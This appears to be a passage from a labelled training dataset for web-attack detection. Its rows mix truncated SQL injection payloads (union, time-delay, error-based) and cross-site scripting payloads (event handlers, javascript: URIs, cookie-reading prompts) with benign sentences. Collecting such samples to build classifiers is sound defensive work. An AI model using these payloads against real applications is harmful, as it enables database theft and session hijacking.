9627,conca",2,SQLi,21659918-2153'|| ( select 'sofs' where 4126 = 4126 union a,2,SQLi,18875919"-1915%"" ) ) union all select 7732,7732,7732,7732,7",2,SQLi,18257920Where did you find that unique sculpture?,0,normal,23865921"{""id"":null,""name"":""student having""}",0,normal,27262922Merge sources.,0,normal,23058923declare @s varchar ( 8000 ) select @s = 0x73656c .,2,SQLi,11855924"{""id"":null,""name"":""pass several""}",0,normal,27066925"-6731"" where 6166 = 6166 union all select 6166,616",2,SQLi,20203926"<style>@keyframes x{}</style><tt style=""animation-",1,XSS,6538927"1 ) where 9687 = 9687 and elt ( 9607 = 9432,9432 )",2,SQLi,205299281' ) ) as arhm where 3268 = 3268 or ( select 2* ( ,2,SQLi,15005929"<td oncopy=""alert(1)"" contenteditable>test</td>",1,XSS,8468930"1"" ) ) as jucs where 6836 = 6836",2,SQLi,181359311' or 4915 = ( select count ( * ) from domain.doma,2,SQLi,12565932Select plate.,0,normal,245269331 WAITFOR DELAY '0:0:5'--,2,SQLi,11318934Stone apologized but said he did not select the im,0,normal,25519935"<blink onbeforecopy=""alert(1)"" contenteditable>tes",1,XSS,3160936Select items.,0,normal,24489937"1"" where 2131 = 2131 and 6055 = ctxsys.drithsx.sn ",2,SQLi,17648938<sup onblur=alert(1) tabindex=1 id=x></sup><input ,1,XSS,6006939<center onpointerout=alert(1)>XSS</center>,1,XSS,6245940<meta onblur=alert(1) tabindex=1 id=x></meta><inpu,1,XSS,5601941))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) ,2,SQLi,11197942"{""id"":null,""name"":""Ditto""}",0,normal,27004943"<body onkeyup=""alert(1)"" contenteditable>test</bod",1,XSS,41609441' ) ) ) or 5286 = ( select count ( * ) from all_u,2,SQLi,12895945<script>alert(document.head.childNodes[3].text)</s,1,XSS,92859461' ) where 3893 = 3893,2,SQLi,16811947<style>:target {color:red;}</style><menuitem id=x ,1,XSS,37179481%' and 6454 = 8348 and '%' = ',2,SQLi,18950949"<dialog draggable=""true"" ondragleave=""alert(1)"">te",1,XSS,8285950<style>:target {color:red;}</style><bdo id=x style,1,XSS,8094951"1%"" ) ) and ( 3020 = 3020 ) *6703 and ( ( ""%"" = """,2,SQLi,18669952"1%"" ) ) union all select null--",2,SQLi,14687953<input2 onpointerup=alert(1)>XSS</input2>,1,XSS,8396954"<? foo=""><x foo='?><script>alert(91)</script>'>"">",1,XSS,90409551' ) ) as mxxd where 7255 = 7255 or 7552 = ( selec,2,SQLi,197789561'|| ( select 'uqbj' from dual where 6736 = 6736 o,2,SQLi,13450957<ul id=x tabindex=1 onbeforeactivate=alert(1)></ul,1,XSS,3466958<image3 onpointerleave=alert(1)>XSS</image3>,1,XSS,37099591' ) ) as ticp where 9794 = 9794 union all select ,2,SQLi,18878960Select the item.,0,normal,22879961waitfor delay '0:0:5' and ( ( 7619 = 7619,2,SQLi,14308962"<base oncopy=""alert(1)"" contenteditable>test</base",1,XSS,71289631' ) ) as jvwq where 6596 = 6596 and 3202 = like (,2,SQLi,18057964-2569' union all select 4484--,2,SQLi,13210965"iif ( 1539 = 1539,1539,1/0 )",2,SQLi,13819966-8397' ) ) ) or 2171 = 4788,2,SQLi,18000967"<div draggable=""true"" contenteditable>drag me</div",1,XSS,4782968<optgroup onpointerenter=alert(1)>XSS</optgroup>,1,XSS,2860969"<blockquote onmouseenter=""alert(1)"">test</blockquo",1,XSS,51519701' and 3754 = ( select upper ( xmltype ( chr ( 60 ,2,SQLi,16077971"<s draggable=""true"" ondragenter=""alert(1)"">test</s",1,XSS,3665972"1"" ) as zopq where 2680 = 2680",2,SQLi,13826973"1%"" ) ) or char ( 75 ) ||char ( 70 ) ||char ( 99 )",2,SQLi,12781974<style>:target {color:red;}</style><slot id=x styl,1,XSS,1829975"1"" ) ) or 6793 = ( select 6793 from pg_sleep ( 5 )",2,SQLi,20558976<style>:target {transform: rotate(180deg);}</style,1,XSS,5515977"{""id"":null,""firstName"":""James"",""lastName"":""Tang"",""",0,normal,267679781 or 4915 = ( select count ( * ) from domain.domai,2,SQLi,16874979"<style>@keyframes x{}</style><noembed style=""anima",1,XSS,4983980Please unban pubg and ignore the lame excuses of P,0,normal,26484981"<figcaption onmouseover=""alert(1)"">test</figcaptio",1,XSS,2405982<ruby id=x tabindex=1 onfocus=alert(1)></ruby>,1,XSS,8520983end and ( ( ( 'xzbk' = 'xzbk,2,SQLi,20873984Select your transform.,0,normal,25036985ORDER BY 10--,2,SQLi,10252986Randomly select a movie.,0,normal,24422987"<small onmouseout=""alert(1)"">test</small>",1,XSS,3543988"1 ) ) union all select null,null,null,null,null,nu",2,SQLi,17384989( select 2527 from pg_sleep ( 5 ) ),2,SQLi,16497990"-2226%"" ) ) union all select 1018,1018,1018,1018--",2,SQLi,13477991"select sleep ( 5 ) and ( ""tlbp"" = ""tlbp",2,SQLi,13839992<dialog onpointerout=alert(1)>XSS</dialog>,1,XSS,8626993UNION ALL SELECT NULL#,2,SQLi,107009941'+ ( select 'mikf' where 5814 = 5814 or 5356 = ( ,2,SQLi,16772995"select benchmark ( 5000000,md5 ( 0x4c4d6142 ) ) an",2,SQLi,13069996"<small onbeforecut=""alert(1)"" contenteditable>test",1,XSS,1796997<style>@keyframes x{from {left:0;}to {left: 1000px,1,XSS,6447998"select count ( * ) from all_users t1,all_users t2,",2,SQLi,17183999<style>:target {color: red;}</style><caption id=x ,1,XSS,635810001 ) ) or char ( 75 ) ||char ( 70 ) ||char ( 99 ) |,2,SQLi,213051001"-8347%' ) union all select 7643,7643,7643--",2,SQLi,222881002"1' procedure analyse ( extractvalue ( 5840,concat ",2,SQLi,184221003<address onpointerenter=alert(1)>XSS</address>,1,XSS,36181004<dl onpointerout=alert(1)>XSS</dl>,1,XSS,63591005"AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHA",2,SQLi,1072410061%' ) ) ) waitfor delay '0:0:5'--,2,SQLi,157761007Select the perfect song.,0,normal,243131008"Pickup options: During checkout, choose Store Pick",0,normal,257781009)) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) A,2,SQLi,111921010"<dt onmouseover=""alert(1)"">test</dt>",1,XSS,21911011"<style>@keyframes x{}</style><q style=""animation-n",1,XSS,79151012"-1203"" ) ) or 8571 = 8571--",2,SQLi,173871013"1"" where 7696 = 7696 and 3754 = ( select upper ( x",2,SQLi,208171014"-4397' ) ) ) or make_set ( 9354 = 9354,7185 ) and ",2,SQLi,159511015Select merchandise.,0,normal,2455610161' ) where 9317 = 9317 or 6793 = ( select 6793 fro,2,SQLi,181011017<style onfocusout=alert(1) tabindex=1 id=x></style,1,XSS,89021018"select count ( * ) from rdb$fields as t1,rdb$types",2,SQLi,143411019"-4477' ) ) union all select 8444,8444,8444,8444,84",2,SQLi,212451020<x%0Donxxx=1,1,XSS,93631021"<colgroup draggable=""true"" ondragenter=""alert(1)"">",1,XSS,30101022Scroll down to see select slides from GoodQues' pi,0,normal,256981023"-6970"" ) ) or 1570 = convert ( int, ( select char ",2,SQLi,208591024or sleep(5)=',2,SQLi,103541025"<img src=""/"" =_="" title=""onerror='prompt(1)'"">",1,XSS,3351026<x onmouseout=alert(1)>hover this!,1,XSS,93531027or 1 = 1--,2,SQLi,114231028Let's discuss where to go for the weekend.,0,normal,2398010291%' ) ) ) and ( 3020 = 3020 ) *6703 and ( ( ( '%' ,2,SQLi,171341030"-2028%' ) ) ) or 1570 = convert ( int, ( select ch",2,SQLi,167201031Select approve.,0,normal,245731032"or 0=0 #""",2,SQLi,101371033Select your query.,0,normal,249671034"-6478"" ) ) union all select 7087,7087,7087,7087,70",2,SQLi,148181035<svg><a xmlns:xlink=http://www.w3.org/1999/xlink x,1,XSS,93181036"select * from users where id = 1 or "" ) ]"" or 1 = ",2,SQLi,116821037"""+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23",2,SQLi,109551038<multicol onpointerout=alert(1)>XSS</multicol>,1,XSS,33551039<script>+-+-1-+-+alert(1)</script>,1,XSS,9081040[citelol]: (javascript:prompt(document.cookie)),1,XSS,94171041Select your favorite flavor.,0,normal,2429810421%' ) ) and 6537 = dbms_pipe.receive_message ( chr,2,SQLi,166341043"<span onmouseout=""alert(1)"">test</span>",1,XSS,75541044"<param onkeypress=""alert(1)"" contenteditable>test<",1,XSS,21471045<svg><ul onload=alert(1)></ul>,1,XSS,47881046"1"" ) ) as yiaw where 2841 = 2841 or sleep ( 5 ) --",2,SQLi,2031410471 or 8315 = ( select count ( * ) from sysibm.systa,2,SQLi,195941048"UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8",2,SQLi,1079410491 ) and 8189 = ( select count ( * ) from sysibm.sy,2,SQLi,159801050"-2284%"" ) ) or 9323 = 9323#",2,SQLi,157301051<script onfocusout=alert(1) tabindex=1 id=x></scri,1,XSS,63351052<noscript onpointerout=alert(1)>XSS</noscript>,1,XSS,63871053"<rp onmouseover=""alert(1)"">test</rp>",1,XSS,64561054"To use the feature, tap the car icon next to ""Wher",0,normal,252501055"-1339 ) ) ) union all select 2938,2938,2938,2938,2",2,SQLi,124961056"<small onbeforecopy=""alert(1)"" contenteditable>tes",1,XSS,75841057<nobr id=x tabindex=1 onfocus=alert(1)></nobr>,1,XSS,49181058<xss onblur=alert(1) id=x tabindex=1 style=display,1,XSS,531059><img src=x onerror=javascript:alert((`1`))>,1,XSS,12661060<iframe/src=javascript:confirm(1),1,XSS,94721061<style>:target {color: red;}</style><kbd id=x styl,1,XSS,30291062<param onpointerout=alert(1)>XSS</param>,1,XSS,62281063"<a href=""\x01javascript:javascript:alert(1)"" id=""f",1,XSS,5211064"1' ) or row ( 1045,7562 ) > ( select count ( * ) ,",2,SQLi,161801065Select your favorite food.,0,normal,243211066"<x style=""behavior:url(%(sct)s)"">",1,XSS,7241067Select appear.,0,normal,246841068"<tr onmousemove=""alert(1)"">test</tr>",1,XSS,86661069"<p oncopy=""alert(1)"" contenteditable>test</p>",1,XSS,50931070"<IMG SRC='vbscript:msgbox(\""XSS\"")'>",1,XSS,131210711' ) ) or ( select 2* ( if ( ( select * from ( sel,2,SQLi,214741072"ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,",2,SQLi,1046210731'+ ( select rdpe where 6553 = 6553 or elt ( 6272 ,2,SQLi,130171074"-5066' ) ) union all select 9689,9689,9689,9689#",2,SQLi,2049610751,0,normal,266581076<dfn id=x tabindex=1 ondeactivate=alert(1)></dfn><,1,XSS,82451077"1"" ) as ckoi where 4674 = 4674 union all select nu",2,SQLi,178071078"-->'""/></sCript><deTailS open x="">"" ontoggle=(co\u",1,XSS,95631079The Consumer Staples Select Sector SPDR ETF (XLP) ,0,normal,254681080"<wbr draggable=""true"" ondragleave=""alert(1)"">test<",1,XSS,87811081"<col onbeforepaste=""alert(1)"" contenteditable>test",1,XSS,362810821' ) ) or exp ( ~ ( select * from ( select concat ,2,SQLi,213721083"1' ) ) and 3824 = benchmark ( 5000000,md5 ( 0x7655",2,SQLi,159261084<kbd id=x tabindex=1 onactivate=alert(1)></kbd>,1,XSS,62851085Join the hike.,0,normal,228171086<svg><image href=1 onerror=alert(1)>,1,XSS,565010871%' ) and 8635 = ( select count ( * ) from generat,2,SQLi,210631088AND 1=utl_inaddr.get_host_address((SELECT SYS.DATA,2,SQLi,110701089Identify columns where valid.,0,normal,233101090"1 union all select null,null,null,null,null,null,n",2,SQLi,123901091"-6527' ) ) union all select 5053,5053,5053,5053--",2,SQLi,180241092Select dinner.,0,normal,245021093"select * from users where id = 1 or @#"" ( = 1 or 1",2,SQLi,119381094Where's the best place to go for a hike?,0,normal,237321095"1 ) and 3824 = benchmark ( 5000000,md5 ( 0x7655564",2,SQLi,151771096<td id=x tabindex=1 onactivate=alert(1)></td>,1,XSS,27621097It is imperative to make certain that all three ca,0,normal,259661098"1%"" ) or 4411 = ( select count ( * ) from sysusers",2,SQLi,136751099"-4205' union all select 8986,8986,8986,8986,8986,8",2,SQLi,1722611001 ) ) ) and sleep ( 5 ) and ( ( ( 6618 = 6618,2,SQLi,125221101ORDER BY 4--,2,SQLi,1024611021' or ( select 2* ( if ( ( select * from ( select ,2,SQLi,216811103-3899' ) where 8152 = 8152 or 3440 = cast ( ( chr ,2,SQLi,123071104"1 ) where 1013 = 1013 and 4241 = convert ( int, ( ",2,SQLi,142001105"1%' ) procedure analyse ( extractvalue ( 9255,conc",2,SQLi,209991106"Pick the ride mode and tap ""Select"" to order your ",0,normal,257791107"1"" or extractvalue ( 1297,concat ( 0x5c,0x7171706a",2,SQLi,199231108"select like ( 'abcdefg',upper ( hex ( randomblob (",2,SQLi,122481109<A HREF="javascript:document.location=&apo,1,XSS,14721110"UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8",2,SQLi,108321111"<rtc ondblclick=""alert(1)"">test</rtc>",1,XSS,71101112To find out more just select from the menu below.,0,normal,252671113"<div draggable=""true"" contenteditable>drag me</div",1,XSS,89251114<small onblur=alert(1) tabindex=1 id=x></small><in,1,XSS,689311151' in boolean mode ) or 7427 = dbms_pipe.receive_m,2,SQLi,147151116"javascript://'//"" --></textarea></style></script><",1,XSS,954511171' ) ) ) or 7427 = dbms_pipe.receive_message ( chr,2,SQLi,143061118values,0,normal,231261119"<STYLE type=""text/css"">BODY{background:url(""<javas",1,XSS,38881120I'll select the wine.,0,normal,242661121"1%"" ) ) ) or ( select 2* ( if ( ( select * from ( ",2,SQLi,194451122"1"" ) ) and 6414 = ( select count ( * ) from rdb$fi",2,SQLi,208511123"<area onmouseout=""alert(1)"">test</area>",1,XSS,442211241' ) ) as gfzb where 7904 = 7904,2,SQLi,145531125lead,0,normal,232311126"<data oncopy=""alert(1)"" contenteditable>test</data",1,XSS,67081127select ( case when ( 9562 = 5996 ) then 1 else 956,2,SQLi,128991128"<IMG SRC=x onhashchange=""alert(String.fromCharCode",1,XSS,11761129"-6924' ) union all select 2046,2046,2046,2046,2046",2,SQLi,211811130"Select maple mahogany shaded back and sides, cellu",0,normal,256191131or SLEEP(5)--,2,SQLi,103811132or pg_sleep(__TIME__)--,2,SQLi,100951133-9698 ) as pvhn where 3223 = 3223 or elt ( 6563 = ,2,SQLi,206021134"1"" ) ) and 2388 = benchmark ( 5000000,md5 ( 0x6d45",2,SQLi,186781135"1' ) and elt ( 1210 = 1210,sleep ( 5 ) ) and ( 'ud",2,SQLi,176861136Select trail.,0,normal,246601137Select the best wedding favor.,0,normal,2441111381 ) or 2633 = dbms_pipe.receive_message ( chr ( 11,2,SQLi,128341139"<optgroup onmousemove=""alert(1)"">test</optgroup>",1,XSS,84711140<script onreadystatechange=alert(1)></script>,1,XSS,32101141"-1863' ) or make_set ( 9354 = 9354,7185 ) and ( 'w",2,SQLi,1710111421' ) ) and 6690 = 3250#,2,SQLi,154051143"{""id"":null,""firstName"":""Damien"",""lastName"":""Gareth",0,normal,273321144"<meter onmouseleave=""alert(1)"">test</meter>",1,XSS,67581145<summary onpointerout=alert(1)>XSS</summary>,1,XSS,705411461 ) ) as gocb where 4335 = 4335,2,SQLi,210621147<script for=document event=onreadystatechange>getE,1,XSS,92511148<tfoot id=x tabindex=1 onfocus=alert(1)></tfoot>,1,XSS,19171149OR 1=0--,2,SQLi,102061150"-1956"" ) where 1448 = 1448 or 3440 = cast ( ( chr ",2,SQLi,180171151"{""id"":null,""name"":""stove flag""}",0,normal,273271152select,0,normal,265841153select,0,normal,266031154<style>:target {color:red;}</style><tr id=x style=,1,XSS,42571155"<summary onmouseout=""alert(1)"">test</summary>",1,XSS,48321156RANDOMBLOB(500000000/2),2,SQLi,104111157<pre id=x tabindex=1 onbeforeactivate=alert(1)></p,1,XSS,88891158select * from users where id = '1' or \<\ union se,2,SQLi,1141211591' and 8514 = ( select count ( * ) from domain.dom,2,SQLi,168941160"<meter ondblclick=""alert(1)"">test</meter>",1,XSS,623311611%' ) ) ) or 2633 = dbms_pipe.receive_message ( ch,2,SQLi,148431162-6755 ) or 9323 = 9323#,2,SQLi,144551163select ( case when ( 3365 = 6236 ) then 3365 else ,2,SQLi,129611164"select * from users where id = 1 or ""%,"" or 1 = 1 ",2,SQLi,118201165"ORDER BY 1,SLEEP(5),3#",2,SQLi,1044811661 or char ( 117 ) ||char ( 111 ) ||char ( 105 ) ||,2,SQLi,167171167"<colgroup onpaste=""alert(1)"" contenteditable>test<",1,XSS,50501168"<IFRAME SRC=""javascript:alert('XSS');""></IFRAME>",1,XSS,2861169"1"" ) ) ) and sleep ( 5 ) #",2,SQLi,199801170"-1653 union all select 8415,8415,8415,8415,8415,84",2,SQLi,189661171select ( case when ( 5796 = 8326 ) then 5796 else ,2,SQLi,148751172"<>""'%; ) ( &+",2,SQLi,120451173"ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,",2,SQLi,104721174<x onmouseover=alert(1)>hover this!,1,XSS,93541175"-9037%"" union all select 6583#",2,SQLi,166891176<q onpointerenter=alert(1)>XSS</q>,1,XSS,62401177"><script>alert(String.fromCharCode(88,83,83))</scr",1,XSS,96881178"?clickTAG=javascript:alert(1)"",",1,XSS,986411791' or 7417 = ( select count ( * ) from sysibm.syst,2,SQLi,190961180"-8432 ) union all select 8169,8169,8169,8169,8169,",2,SQLi,144771181select * from users where id = 1 <@.. or 1 = 1 -- ,2,SQLi,119911182<style>:target {transform: rotate(180deg);}</style,1,XSS,84921183"{""id"":null,""name"":""PrinceMamemon""}",0,normal,2712811841 ) or 7417 = ( select count ( * ) from sysibm.sys,2,SQLi,140961185"-7084%' union all select 5727,5727,5727,5727,5727,",2,SQLi,215811186<nextid onpointermove=alert(1)>XSS</nextid>,1,XSS,20481187"1"" ) ) and make_set ( 8266 = 9226,9226 ) and ( ( """,2,SQLi,146751188"1"" union all select null,null,null,null,null,null,",2,SQLi,147291189"-9096"" ) where 9452 = 9452 or 4144 = ( select uppe",2,SQLi,202561190"1%"" ) union all select null,null,null,null,null,nu",2,SQLi,171481191"1 ) ) ) union all select null,null--",2,SQLi,214621192Select your company.,0,normal,248611193<%tag style=âxss:expression(alert(âXSSâ))â>,1,XSS,97521194<content id=x tabindex=1 onactivate=alert(1)></con,1,XSS,474311951' ) as sagj where 4558 = 4558,2,SQLi,167881196"<shadow ondblclick=""alert(1)"">test</shadow>",1,XSS,30661197"<font onmouseup=""alert(1)"">test</font>",1,XSS,541011981'+ ( select mrdi where 7451 = 7451 and 8594 = ( s,2,SQLi,170041199[ ](http://a?p=[[/onclick=alert(0) .]]),1,XSS,94441200"{""id"":null,""name"":""Tangrowth""}",0,normal,27381